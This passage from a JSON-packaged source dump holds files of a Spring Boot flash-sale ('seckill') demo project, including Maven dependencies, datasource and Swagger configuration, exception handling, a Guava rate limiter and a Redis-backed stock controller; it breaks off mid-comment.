t<version>1.0.11</version>\n\t\t</dependency>\n\n\t\t<!--分页插件 -->\n\t\t<dependency>\n\t\t\t<groupId>com.github.pagehelper</groupId>\n\t\t\t<artifactId>pagehelper</artifactId>\n\t\t\t<version>4.1.6</version>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>org.mybatis.spring.boot</groupId>\n\t\t\t<artifactId>mybatis-spring-boot-starter</artifactId>\n\t\t\t<version>1.1.1</version>\n\t\t</dependency>\n\n\t\t<!--排除内置tomcat -->\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t<artifactId>spring-boot-starter-web</artifactId>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t<artifactId>spring-boot-configuration-processor</artifactId>\n\t\t\t<optional>true</optional>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework</groupId>\n\t\t\t<artifactId>spring-test</artifactId>\n\t\t\t<scope>test</scope>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t<artifactId>spring-boot-test</artifactId>\n\t\t\t<scope>test</scope>\n\t\t</dependency>\n\n\t\t<!--引用AOP -->\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t<artifactId>spring-boot-starter-aop</artifactId>\n\t\t</dependency>\n\n\t\t<!-- 引入redisson实现分布式锁 -->\n\t\t<dependency>\n\t\t\t<groupId>org.redisson</groupId>\n\t\t\t<artifactId>redisson</artifactId>\n\t\t\t<version>3.10.1</version>\n\t\t</dependency>\n\t\t\n\t\t<dependency>\n\t\t    <groupId>org.j-im</groupId>\n\t\t    <artifactId>jim-server</artifactId>\n\t\t    <version>2.3.0.v20180830-RELEASE</version>\n\t\t</dependency>\n\t\t\n\t\t<dependency>\n\t\t    <groupId>cn.hutool</groupId>\n\t\t    <artifactId>hutool-all</artifactId>\n\t\t    <version>4.5.0</version>\n\t\t</dependency>\n\n\t</dependencies>\n\n\t<build>\n\t\t<finalName>distributed-seckill</finalName>\n\t\t<plugins>\n\t\t\t<!-- 打包项目 mvn clean package -->\n\t\t\t<plugin>\n\t\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t\t<artifactId>spring-boot-maven-plugin</artifactId>\n\t\t\t\t<dependencies>\n\t\t\t\t\t<!-- mvn spring-boot:run 热部署启动 -->\n\t\t\t\t\t<dependency>\n\t\t\t\t\t\t<groupId>org.springframework</groupId>\n\t\t\t\t\t\t<artifactId>springloaded</artifactId>\n\t\t\t\t\t\t<version>1.2.7.RELEASE</version>\n\t\t\t\t\t</dependency>\n\t\t\t\t</dependencies>\n\t\t\t</plugin>\n\t\t\t<plugin>\n\t\t\t\t<groupId>org.apache.maven.plugins</groupId>\n\t\t\t\t<artifactId>maven-javadoc-plugin</artifactId>\n\t\t\t</plugin>\n\t\t</plugins>\n\t</build>\n\n</project>"
  },
  {
    "path": "jun_springboot_plugin/springboot_distributed_seckill/src/main/java/com/jun/plugin/seckill/ServiceSeckillApplication.java",
    "content": "package com.jun.plugin.seckill;\n\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.transaction.annotation.EnableTransactionManagement;\nimport org.springframework.web.bind.annotation.RestController;\n\n/**\n* <p>Title: ServiceSeckillApplication</p>  \n* <p>Description: seckill service服务启动类</p>  \n* @author Wujun\n* @date 2018年7月2日\n */\n@Configuration\n@RestController\n@SpringBootApplication\n@EnableTransactionManagement //启用事务\npublic class ServiceSeckillApplication {\n\n\n\tpublic static void main( String[] args ){\n    \tSpringApplication.run(ServiceSeckillApplication.class, args);\n    }\n\t\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_distributed_seckill/src/main/java/com/jun/plugin/seckill/common/config/DatasourceConfig.java",
    "content": "package com.jun.plugin.seckill.common.config;\n\nimport com.alibaba.druid.pool.DruidDataSource;\nimport com.jun.plugin.seckill.common.exception.WebException;\nimport com.jun.plugin.seckill.common.exception.WebExceptionEnum;\nimport com.jun.plugin.seckill.mybatis.datasource.DynamicDataSource;\nimport com.jun.plugin.seckill.mybatis.datasource.DynamicDataSourceTransactionManager;\n\nimport org.apache.ibatis.session.SqlSessionFactory;\nimport org.mybatis.spring.SqlSessionFactoryBean;\nimport org.mybatis.spring.boot.autoconfigure.MybatisProperties;\nimport org.springframework.beans.factory.annotation.Qualifier;\nimport org.springframework.boot.context.properties.ConfigurationProperties;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.context.annotation.Primary;\nimport org.springframework.core.io.DefaultResourceLoader;\nimport org.springframework.jdbc.datasource.DataSourceTransactionManager;\n\nimport javax.sql.DataSource;\n\n/**\n * 数据源配置\n *\n * @author Wujun\n */\n@Configuration\npublic class DatasourceConfig {\n\n    /**\n     * Write data source druid data source.\n     *\n     * @return the druid data source\n     */\n    @Primary\n    @Bean(name = \"writeDataSource\")\n    @ConfigurationProperties(\"spring.datasource.write\")\n    public DruidDataSource writeDataSource() {\n        return new DruidDataSource();\n    }\n\n    /**\n     * Read data source druid data source.\n     *\n     * @return the druid data source\n     */\n    @Bean(name = \"readDataSource\")\n    @ConfigurationProperties(\"spring.datasource.read\")\n    public DruidDataSource readDataSource() {\n        return new DruidDataSource();\n    }\n\n    /**\n     * Dynamic data source data source.\n     *\n     * @return the data source\n     */\n    @Bean(name = \"dynamicDataSource\")\n    public DataSource dynamicDataSource() {\n        DynamicDataSource dynamicDataSource = new DynamicDataSource();\n        dynamicDataSource.setWriteDataSource(writeDataSource());\n        dynamicDataSource.setReadDataSource(readDataSource());\n\n        return dynamicDataSource;\n    }\n\n    /**\n     * Dynamic transaction manager data source transaction manager.\n     *\n     * @param dynamicDataSource the dynamic data source\n     * @return the data source transaction manager\n     */\n    @Bean(name = \"dynamicTransactionManager\")\n    public DataSourceTransactionManager dynamicTransactionManager(@Qualifier(\"dynamicDataSource\") DataSource dynamicDataSource) {\n        return new DynamicDataSourceTransactionManager(dynamicDataSource);\n    }\n\n    /**\n     * Dynamic sql session factory sql session factory.\n     *\n     * @param dynamicDataSource the dynamic data source\n     * @param properties        the properties\n     * @return the sql session factory\n     */\n    @Bean\n    @ConfigurationProperties(prefix = MybatisProperties.MYBATIS_PREFIX)\n    public SqlSessionFactory dynamicSqlSessionFactory(\n        @Qualifier(\"dynamicDataSource\") DataSource dynamicDataSource,\n        MybatisProperties properties) {\n        final SqlSessionFactoryBean sessionFactory = new SqlSessionFactoryBean();\n        sessionFactory.setDataSource(dynamicDataSource);\n        sessionFactory.setConfigLocation(new DefaultResourceLoader().getResource(properties.getConfigLocation()));\n        sessionFactory.setMapperLocations(properties.resolveMapperLocations());\n        try {\n            return sessionFactory.getObject();\n        } catch (Exception e) {\n            throw new WebException(WebExceptionEnum.SERVER_ERROR);\n        }\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_distributed_seckill/src/main/java/com/jun/plugin/seckill/common/config/SwaggerConfig.java",
    "content": "package com.jun.plugin.seckill.common.config;\n\nimport org.springframework.context.annotation.Bean;\n\nimport org.springframework.context.annotation.Configuration;\n\nimport springfox.documentation.builders.ApiInfoBuilder;\nimport springfox.documentation.builders.PathSelectors;\nimport springfox.documentation.builders.RequestHandlerSelectors;\nimport springfox.documentation.service.ApiInfo;\nimport springfox.documentation.service.Contact;\nimport springfox.documentation.spi.DocumentationType;\nimport springfox.documentation.spring.web.plugins.Docket;\nimport springfox.documentation.swagger2.annotations.EnableSwagger2;\n\n@Configuration\n@EnableSwagger2\npublic class SwaggerConfig {\n\t\n\t@Bean\n\tpublic Docket userApi() {\n\t\treturn new Docket(DocumentationType.SWAGGER_2).groupName(\"秒杀案例\").apiInfo(apiInfo()).select()\n\t\t\t\t.apis(RequestHandlerSelectors.basePackage(\"cn.com.bluemoon.controller\")).paths(PathSelectors.any()).build();\n\t}\n\t\n\t// 预览地址:swagger-ui.html\n\tprivate ApiInfo apiInfo() {\n\t\treturn new ApiInfoBuilder().title(\"SpringBoot 中使用Swagger2构建文档\").termsOfServiceUrl(\"https://blog.52itstyle.com\")\n\t\t\t\t.contact(new Contact(\"Guoqing \", \"http://www.cnblogs.com/ocean-sky/\", \"514471352@qq.com\")).version(\"1.0\").build();\n\t}\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_distributed_seckill/src/main/java/com/jun/plugin/seckill/common/config/WebConfig.java",
    "content": "package com.jun.plugin.seckill.common.config;\n\nimport org.springframework.stereotype.Component;\nimport org.springframework.web.servlet.config.annotation.InterceptorRegistry;\nimport org.springframework.web.servlet.config.annotation.WebMvcConfigurerAdapter;\n\nimport com.jun.plugin.seckill.common.interceptor.LimitInterceptor;\n\n@Component\npublic class WebConfig extends WebMvcConfigurerAdapter {\n\n\tpublic void addInterceptors(InterceptorRegistry registry) {\n\t\t//多个拦截器组成一个拦截器链\n\t\tregistry.addInterceptor(new LimitInterceptor(1000, LimitInterceptor.LimitType.DROP)).addPathPatterns(\"/**\");\n\t\tsuper.addInterceptors(registry);\n\t}\n\t\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_distributed_seckill/src/main/java/com/jun/plugin/seckill/common/exception/AssertException.java",
    "content": "package com.jun.plugin.seckill.common.exception;\n\n\nimport java.util.logging.Level;\n\n/**\n * 断言异常类\n * \n * @author Wujun\n */\npublic class AssertException extends RuntimeException {\n\t/** */\n\tprivate static final long serialVersionUID = 1L;\n\tprivate int code = 1;\n\tprivate Level level;\n\n\tpublic AssertException(int code, String message, Throwable cause) {\n\t\tsuper(message, cause);\n\t\tthis.code = code;\n\t}\n\n\tpublic AssertException(String message) {\n\t\tsuper(message);\n\t}\n\n\tpublic AssertException(Level level, String message) {\n\t\tsuper(message);\n\t\tthis.level = level;\n\t}\n\n\tpublic AssertException(Throwable cause) {\n\t\tsuper(cause);\n\t}\n\n\tpublic AssertException(int code, String message) {\n\t\tsuper(message);\n\t\tthis.code = code;\n\t}\n\n\t/**\n\t * Getter method for property <tt>code</tt>.\n\t *\n\t * @return property value of code\n\t */\n\tpublic int getCode() {\n\t\treturn code;\n\t}\n\n\t/**\n\t * Getter method for property <tt>level</tt>.\n\t *\n\t * @return property value of level\n\t */\n\tpublic final Level getLevel() {\n\t\treturn level;\n\t}\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_distributed_seckill/src/main/java/com/jun/plugin/seckill/common/exception/GlobalExceptionHandler.java",
    "content": "package com.jun.plugin.seckill.common.exception;\n\nimport javax.servlet.http.HttpServletRequest;\n\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.web.bind.annotation.ControllerAdvice;\nimport org.springframework.web.bind.annotation.ExceptionHandler;\nimport org.springframework.web.bind.annotation.ResponseBody;\n\nimport com.alibaba.fastjson.JSONException;\nimport com.fasterxml.jackson.core.JsonParseException;\nimport com.jun.plugin.seckill.common.response.ResponseBean;\n\n\n/**\n * 全局异常处理\n * @author Wujun\n * @version 1.0\n */\n@ControllerAdvice\npublic class GlobalExceptionHandler {\n\n\tprivate final Logger logger = LoggerFactory.getLogger(getClass());\n\n\t@ExceptionHandler(value = AssertException.class)\n    @ResponseBody\n    public ResponseBean BootExceptionHandler(HttpServletRequest req, AssertException e) {\n\t\tResponseBean response = new ResponseBean(false, e.getCode(), e.getMessage(), null);\n    \tlogger.error(e.getCode()+\"\",e);\n    \tlogger.warn(\"ExceptionHandler:\"+response.toString());\n        return response;\n    }\n\t\n\t@ExceptionHandler(value = JSONException.class)\n\t@ResponseBody\n\tpublic ResponseBean JSONExceptionHandler(HttpServletRequest req, JSONException e) {\t\t\n\t\tResponseBean response = new ResponseBean(false, 1102, \"请求参数格式异常\", null);\n\t\tlogger.error(\"1102\",e);\n\t\tlogger.error(\"ExceptionHandler\"+response.toString());\n\t\treturn response;\n\t}\n\t\n\t@ExceptionHandler(value = JsonParseException.class)\n\t@ResponseBody\n\tpublic ResponseBean JsonParseExceptionHandler(HttpServletRequest req, JsonParseException e) {\n\t\tResponseBean response = new ResponseBean(false, 1102, \"请求参数格式异常\", null);\n\t\tlogger.error(\"1102\",e);\n\t\tlogger.error(\"ExceptionHandler\"+response.toString());\n\t\treturn response;\n\t}\n\t\n\t@ExceptionHandler(value = WebException.class)\n    @ResponseBody\n    public ResponseBean ExceptionHandler(HttpServletRequest req, WebException e) {   \t\n\t\tResponseBean response = new ResponseBean(e.getIsSuccess(), e.getResponseCode(), e.getResponseMsg(), null);\n\t\tlogger.error(e.getResponseCode()+\"\",e);\n    \tlogger.error(\"ExceptionHandler\"+response.toString());\n    \treturn response;\n    }\n    \n    @ExceptionHandler(value = Exception.class)\n    @ResponseBody\n    public ResponseBean ExceptionHandler(HttpServletRequest req, Exception e) {   \t\n\t\tResponseBean response = new ResponseBean(false, 1000, \"服务器正在繁忙，请稍后再试哦~\", null);\n\t\tlogger.error(\"1000\",e);\n    \tlogger.error(\"ExceptionHandler\"+response.toString());\n    \treturn response;\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_distributed_seckill/src/main/java/com/jun/plugin/seckill/common/exception/IllegalReentrantException.java",
    "content": "package com.jun.plugin.seckill.common.exception;\n\n/**\n * 对于不可重入的锁将抛出此异常\n *\n * Created by Guoqing on 16/8/25.\n */\npublic class IllegalReentrantException extends RuntimeException {\n\n\tprivate static final long serialVersionUID = 1L;\n\n\tpublic IllegalReentrantException(Throwable cause) {\n        super(cause);\n    }\n\n    public IllegalReentrantException(String message, Throwable cause) {\n        super(message, cause);\n    }\n\n    public IllegalReentrantException(String message) {\n        super(message);\n    }\n\n    public IllegalReentrantException() {\n        super();\n    }\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_distributed_seckill/src/main/java/com/jun/plugin/seckill/common/exception/ServiceExceptionEnum.java",
    "content": "package com.jun.plugin.seckill.common.exception;\n\n/**\n * 抽象接口\n *\n * @author Wujun\n * @date 2017-12-28-下午10:27\n */\npublic interface ServiceExceptionEnum {\n    \n    /**\n     * 请求是否成功\n     */\n    Boolean getIsSuccess();\n    \n    /**\n     * 获取返回的code\n     */\n    Integer getResponseCode();\n    \n    /**\n     * 获取返回的message\n     */\n    String getResponseMsg();\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_distributed_seckill/src/main/java/com/jun/plugin/seckill/common/exception/WebException.java",
    "content": "package com.jun.plugin.seckill.common.exception;\n\n/**\n * 封装异常\n *\n * @author Wujun\n * @Date 2018/06/28 下午10:32\n */\npublic class WebException extends RuntimeException {\n\t\n\tprivate Boolean isSuccess;\n\n    private Integer responseCode;\n\n    private String responseMsg;\n\n    public WebException(ServiceExceptionEnum serviceExceptionEnum) {\n        this.isSuccess = serviceExceptionEnum.getIsSuccess();\n    \tthis.responseCode = serviceExceptionEnum.getResponseCode();\n        this.responseMsg = serviceExceptionEnum.getResponseMsg();\n    }\n\n\tpublic Boolean getIsSuccess() {\n\t\treturn isSuccess;\n\t}\n\n\tpublic void setIsSuccess(Boolean isSuccess) {\n\t\tthis.isSuccess = isSuccess;\n\t}\n\n\tpublic Integer getResponseCode() {\n\t\treturn responseCode;\n\t}\n\n\tpublic void setResponseCode(Integer responseCode) {\n\t\tthis.responseCode = responseCode;\n\t}\n\n\tpublic String getResponseMsg() {\n\t\treturn responseMsg;\n\t}\n\n\tpublic void setResponseMsg(String responseMsg) {\n\t\tthis.responseMsg = responseMsg;\n\t}\n\n    \n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_distributed_seckill/src/main/java/com/jun/plugin/seckill/common/exception/WebExceptionEnum.java",
    "content": "package com.jun.plugin.seckill.common.exception;\n\n/**\n * 异常枚举\n *\n * @author Wujun\n * @Date 2018/06/28 下午10:33\n */\npublic enum WebExceptionEnum implements ServiceExceptionEnum{\n\n\t/**\n\t * 其他\n\t */\n\tWRITE_ERROR(false, 500, \"渲染界面错误\"),\n\n\t/**\n\t * 文件上传\n\t */\n\tFILE_READING_ERROR(false, 400, \"FILE_READING_ERROR!\"),\n\tFILE_NOT_FOUND(false, 400, \"FILE_NOT_FOUND!\"),\n\n\t/**\n\t * 错误的请求\n\t */\n\tREQUEST_NULL(false, 400, \"请求有错误\"),\n\tREQUEST_LIMIT(false, 400, \"请求已达上限\"),\n\tSERVER_ERROR(false, 500, \"服务器异常\"),\n\tTOKEN_NOT_FUND(false, 401, \"未授权\"),\n\tTOKEN_ERROR(false, 700, \"token验证失败\");\n\n\tprivate WebExceptionEnum(Boolean isSuccess, Integer responseCode, String responseMsg) {\n\t\tthis.isSuccess = isSuccess;\n\t\tthis.responseCode = responseCode;\n\t\tthis.responseMsg = responseMsg;\n\t}\n\n\tprivate Boolean isSuccess;\n    \n    private Integer responseCode;\n\n    private String responseMsg;\n\n\tpublic Boolean getIsSuccess() {\n\t\treturn isSuccess;\n\t}\n\n\tpublic void setIsSuccess(Boolean isSuccess) {\n\t\tthis.isSuccess = isSuccess;\n\t}\n\n\tpublic Integer getResponseCode() {\n\t\treturn responseCode;\n\t}\n\n\tpublic void setResponseCode(Integer responseCode) {\n\t\tthis.responseCode = responseCode;\n\t}\n\n\tpublic String getResponseMsg() {\n\t\treturn responseMsg;\n\t}\n\n\tpublic void setResponseMsg(String responseMsg) {\n\t\tthis.responseMsg = responseMsg;\n\t}\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_distributed_seckill/src/main/java/com/jun/plugin/seckill/common/interceptor/LimitInterceptor.java",
    "content": "package com.jun.plugin.seckill.common.interceptor;\n\nimport java.util.concurrent.TimeUnit;\n\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\n\nimport org.springframework.web.servlet.ModelAndView;\nimport org.springframework.web.servlet.handler.HandlerInterceptorAdapter;\n\nimport com.google.common.util.concurrent.RateLimiter;\nimport com.jun.plugin.seckill.common.exception.WebException;\nimport com.jun.plugin.seckill.common.exception.WebExceptionEnum;\n\n/**\n * Guava 限流器\n * @author Wujun\n *\n */\npublic class LimitInterceptor extends HandlerInterceptorAdapter {\n\t\n\tpublic enum LimitType {\n\t\tDROP,\t//丢弃\n\t\tWAIT\t//等待\n\t}\n\t\n\t/**\n\t * 限流器\n\t */\n\tprivate RateLimiter limiter;\n\t\n\t/**\n\t * 限流方式\n\t */\n\tprivate LimitType limitType = LimitType.DROP;\n\t\n\tpublic LimitInterceptor() {\n\t\tthis.limiter = RateLimiter.create(1);\n\t}\n\t\n\t/**\n\t * @param tps\t限流（每秒处理量）\n\t * @param limitType\n\t */\n\tpublic LimitInterceptor(int tps, LimitInterceptor.LimitType limitType) {\n\t\tthis.limiter = RateLimiter.create(tps);\n\t\tthis.limitType = limitType;\n\t}\n\t\n\t/**\n\t * @param permitsPerSecond\t每秒新增的令牌数\n\t * @param limitType\t限流类型\n\t */\n\tpublic LimitInterceptor(double permitsPerSecond, LimitInterceptor.LimitType limitType) {\n\t\tthis.limiter = RateLimiter.create(permitsPerSecond, 1000, TimeUnit.MILLISECONDS);\n\t\tthis.limitType = limitType;\n\t}\n\t\n\t@Override\n\tpublic boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {\n\t    if (limitType.equals(LimitType.DROP)) {\n\t\t    if (limiter.tryAcquire()) {\n\t\t        return super.preHandle(request, response, handler);\n\t\t    }\n\t    } else {\n\t    \tlimiter.acquire();\n\t    \treturn super.preHandle(request, response, handler);\n\t    }\n\t    throw new WebException(WebExceptionEnum.REQUEST_LIMIT);//达到限流后，往页面提示的错误信息。\n\t}\n\t\n\t@Override\n\tpublic void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {\n\t\tsuper.postHandle(request, response, handler, modelAndView);\n\t}\n\t\n\t@Override\n\tpublic void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {\n\t\tsuper.afterCompletion(request, response, handler, ex);\n\t}\n\t\n\tpublic RateLimiter getLimiter() {\n\t    return limiter;\n\t}\n\t \n\tpublic void setLimiter(RateLimiter limiter) {\n\t    this.limiter = limiter;\n\t}\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_distributed_seckill/src/main/java/com/jun/plugin/seckill/common/response/BaseResponse.java",
    "content": "package com.jun.plugin.seckill.common.response;\n\n/**\n * 通用响应model\n * @author Wujun\n * @version 1.0\n */\npublic class BaseResponse{\n\n\t//请求是否成功\n\tprivate Boolean isSuccess = true;\n\t//请求响应码，成功时为0\n\tprivate int responseCode = 0;\n\t//请求响应码对应描述\n\tprivate String responseMsg = \"请求成功\";\n\t\n\tpublic BaseResponse(){}\n\t\n\tpublic BaseResponse(Boolean isSuccess, int responseCode,\n\t\t\tString responseMsg) {\n\t\tthis.isSuccess = isSuccess;\n\t\tthis.responseCode = responseCode;\n\t\tthis.responseMsg = responseMsg;\n\t}\n\t\n\tpublic Boolean getIsSuccess() {\n\t\treturn isSuccess;\n\t}\n\tpublic void setIsSuccess(Boolean isSuccess) {\n\t\tthis.isSuccess = isSuccess;\n\t}\n\tpublic int getResponseCode() {\n\t\treturn responseCode;\n\t}\n\tpublic void setResponseCode(int responseCode) {\n\t\tthis.responseCode = responseCode;\n\t}\n\tpublic String getResponseMsg() {\n\t\treturn responseMsg;\n\t}\n\tpublic void setResponseMsg(String responseMsg) {\n\t\tthis.responseMsg = responseMsg;\n\t}\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_distributed_seckill/src/main/java/com/jun/plugin/seckill/common/response/ResponseBean.java",
    "content": "package com.jun.plugin.seckill.common.response;\n\n\n/**\n * 返回对象的基础bean\n * @author Wujun\n *\n */\npublic class ResponseBean {\n\t\n\t/**\n\t * 请求是否成功\n\t */\n\tprivate boolean isSuccess;\n\t\n\t/**\n\t * 请求响应码，成功时为0\n\t */\n\tprivate int responseCode;\n\t\n\t/**\n\t * 请求响应码对应描述\n\t */\n\tprivate String responseMsg;\n\t\n\t/**\n\t * 请求响应的数据对象\n\t */\n\tprivate Object data;\n\n\tpublic ResponseBean(boolean isSuccess, int responseCode, String responseMsg, Object data) {\n\t\tsuper();\n\t\tthis.isSuccess = isSuccess;\n\t\tthis.responseCode = responseCode;\n\t\tthis.responseMsg = responseMsg;\n\t\tthis.data = data;\n\t}\n\n\tpublic boolean getIsSuccess() {\n\t\treturn isSuccess;\n\t}\n\n\tpublic void setIsSuccess(boolean isSuccess) {\n\t\tthis.isSuccess = isSuccess;\n\t}\n\n\tpublic int getResponseCode() {\n\t\treturn responseCode;\n\t}\n\n\tpublic void setResponseCode(int responseCode) {\n\t\tthis.responseCode = responseCode;\n\t}\n\n\tpublic String getResponseMsg() {\n\t\treturn responseMsg;\n\t}\n\n\tpublic void setResponseMsg(String responseMsg) {\n\t\tthis.responseMsg = responseMsg;\n\t}\n\n\tpublic Object getData() {\n\t\treturn data;\n\t}\n\n\tpublic void setData(Object data) {\n\t\tthis.data = data;\n\t}\n\t\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_distributed_seckill/src/main/java/com/jun/plugin/seckill/common/response/SeckillInfoResponse.java",
    "content": "/**  \n* <p>Title: SeckillResponse.java</p>  \n* <p>Description: </p>  \n* <p>Copyright: Copyright (c) 2018</p>  \n* <p>Company: www.bluemoon.com</p>  \n* @author Wujun\n* @date 2018年8月10日  \n*/  \npackage com.jun.plugin.seckill.common.response;\n\nimport com.jun.plugin.seckill.common.response.BaseResponse;\n\n/**  \n* <p>Title: SeckillResponse</p>  \n* <p>Description: </p>  \n* @author Wujun\n* @date 2018年8月10日  \n*/\npublic class SeckillInfoResponse extends BaseResponse {\n\t\n\tprivate int refreshTime;\t//下一次请求刷新时间\n\tprivate long orderId;\t\t//订单ID\n\tprivate String orderCode;\t//订单编码\n\tprivate String orderQualificationCode;  //下单资格码\n\t/**\n\t * @return the refreshTime\n\t */\n\tpublic int getRefreshTime() {\n\t\treturn refreshTime;\n\t}\n\t/**\n\t * @param refreshTime the refreshTime to set\n\t */\n\tpublic void setRefreshTime(int refreshTime) {\n\t\tthis.refreshTime = refreshTime;\n\t}\n\t/**\n\t * @return the orderId\n\t */\n\tpublic long getOrderId() {\n\t\treturn orderId;\n\t}\n\t/**\n\t * @param orderId the orderId to set\n\t */\n\tpublic void setOrderId(long orderId) {\n\t\tthis.orderId = orderId;\n\t}\n\t/**\n\t * @return the orderCode\n\t */\n\tpublic String getOrderCode() {\n\t\treturn orderCode;\n\t}\n\t/**\n\t * @param orderCode the orderCode to set\n\t */\n\tpublic void setOrderCode(String orderCode) {\n\t\tthis.orderCode = orderCode;\n\t}\n\tpublic String getOrderQualificationCode() {\n\t\treturn orderQualificationCode;\n\t}\n\tpublic void setOrderQualificationCode(String orderQualificationCode) {\n\t\tthis.orderQualificationCode = orderQualificationCode;\n\t}\n\t\n\t\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_distributed_seckill/src/main/java/com/jun/plugin/seckill/common/response/StockNumResponse.java",
    "content": "package com.jun.plugin.seckill.common.response;\n\n/**\n * \n * 活动库存\n * @author Wujun\n *\n */\npublic class StockNumResponse extends BaseResponse {\n\t\n\tprivate Long stockNum;\n\t\n\tprivate Long realStockNum;\n\n\tpublic Long getStockNum() {\n\t\treturn stockNum;\n\t}\n\n\tpublic void setStockNum(Long stockNum) {\n\t\tthis.stockNum = stockNum;\n\t}\n\n\tpublic Long getRealStockNum() {\n\t\treturn realStockNum;\n\t}\n\n\tpublic void setRealStockNum(Long realStockNum) {\n\t\tthis.realStockNum = realStockNum;\n\t}\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_distributed_seckill/src/main/java/com/jun/plugin/seckill/controller/SeckillController.java",
    "content": "/**  \n* <p>Title: SeckillApiController.java</p>  \n* <p>Description: </p>  \n* <p>Copyright: Copyright (c) 2018</p>  \n* <p>Company: www.bluemoon.com</p>  \n* @author Wujun\n* @date 2018年8月10日  \n*/  \npackage com.jun.plugin.seckill.controller;\n\nimport org.apache.commons.lang3.StringUtils;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.web.bind.annotation.CrossOrigin;\nimport org.springframework.web.bind.annotation.GetMapping;\nimport org.springframework.web.bind.annotation.RequestBody;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RequestMethod;\nimport org.springframework.web.bind.annotation.RestController;\n\nimport com.alibaba.fastjson.JSONObject;\nimport com.jun.plugin.seckill.common.response.BaseResponse;\nimport com.jun.plugin.seckill.common.response.SeckillInfoResponse;\nimport com.jun.plugin.seckill.common.response.StockNumResponse;\nimport com.jun.plugin.seckill.kafka.KafkaSender;\nimport com.jun.plugin.seckill.redis.lock.RedissonDistributedLocker;\nimport com.jun.plugin.seckill.redis.repository.RedisRepository;\nimport com.jun.plugin.seckill.service.ISeckillService;\nimport com.jun.plugin.seckill.utils.AssertUtil;\nimport com.jun.plugin.seckill.utils.StringUtil;\n\nimport cn.hutool.system.SystemUtil;\nimport io.swagger.annotations.Api;\nimport io.swagger.annotations.ApiOperation;\n\n/**  \n* <p>Title: SeckillApiController</p>  \n* <p>Description: 秒杀相关接口</p>  \n* @author Wujun\n* @date 2018年8月10日  \n*/\n@Api(tags=\"分布式秒杀\")\n@RestController\n@CrossOrigin\n@RequestMapping(value = \"/api/seckill\")\npublic class SeckillController {\n\t\n\t@Autowired\n\tprivate RedisRepository redisRepository;\n\t@Autowired\n\tprivate ISeckillService seckillService;\n\t@Autowired\n\tprivate KafkaSender kafkaSender;\n\t@Autowired\n\tprivate RedissonDistributedLocker redissonDistributedLocker;\n\n\tLogger logger = LoggerFactory.getLogger(SeckillController.class);\n\t\n\t/**\n\t * 设置活动库存\n\t * @param jsonObject\n\t * @return\n\t */\n\t@ApiOperation(value=\"设置活动库存\",nickname=\"Guoqing\")\n\t@RequestMapping(value=\"/setStockNum\", method=RequestMethod.POST)\n\tpublic BaseResponse setStockNum(@RequestBody JSONObject jsonObject) {\n\t\t\n\t\tint stockNum = jsonObject.containsKey(\"stockNum\")?jsonObject.getInteger(\"stockNum\"):0;\n\t\tint stallActivityId = jsonObject.containsKey(\"stallActivityId\") ? jsonObject.getInteger(\"stallActivityId\") : -1;\n\t\tAssertUtil.isTrue(stallActivityId != -1, \"非法参数\");\n\t\tredisRepository.incrBy(\"BM_MARKET_SECKILL_STOCKNUM_\" + stallActivityId, stockNum);\n\t\tredisRepository.incrBy(\"BM_MARKET_SECKILL_REAL_STOCKNUM_\" + stallActivityId, stockNum);\n\t\t\n\t\treturn new BaseResponse();\n\t}\n\t\n\t/**\n\t * 查看活动库存情况\n\t * @param jsonObject\n\t * @return\n\t */\n\t@ApiOperation(value=\"查看活动库存\",nickname=\"Guoqing\")\n\t@RequestMapping(value=\"/getStockNum\", method=RequestMethod.POST)\n\tpublic StockNumResponse getStockNum(@RequestBody JSONObject jsonObject) {\n\t\tStockNumResponse response = new StockNumResponse();\n\t\tint stallActivityId = jsonObject.containsKey(\"stallActivityId\") ? jsonObject.getInteger(\"stallActivityId\") : -1;\n\t\tAssertUtil.isTrue(stallActivityId != -1, \"非法参数\");\n\t\tString stockNum = redisRepository.get(\"BM_MARKET_SECKILL_STOCKNUM_\" + stallActivityId);\n\t\tString realStockNum = redisRepository.get(\"BM_MARKET_SECKILL_REAL_STOCKNUM_\" + stallActivityId);\n\t\tresponse.setStockNum(Long.parseLong(stockNum));\n\t\tresponse.setRealStockNum(Long.parseLong(realStockNum));\n\t\treturn response;\n\t}\n\n\t/**\n\t * 06.04-去秒杀，创建秒杀订单\n\t * 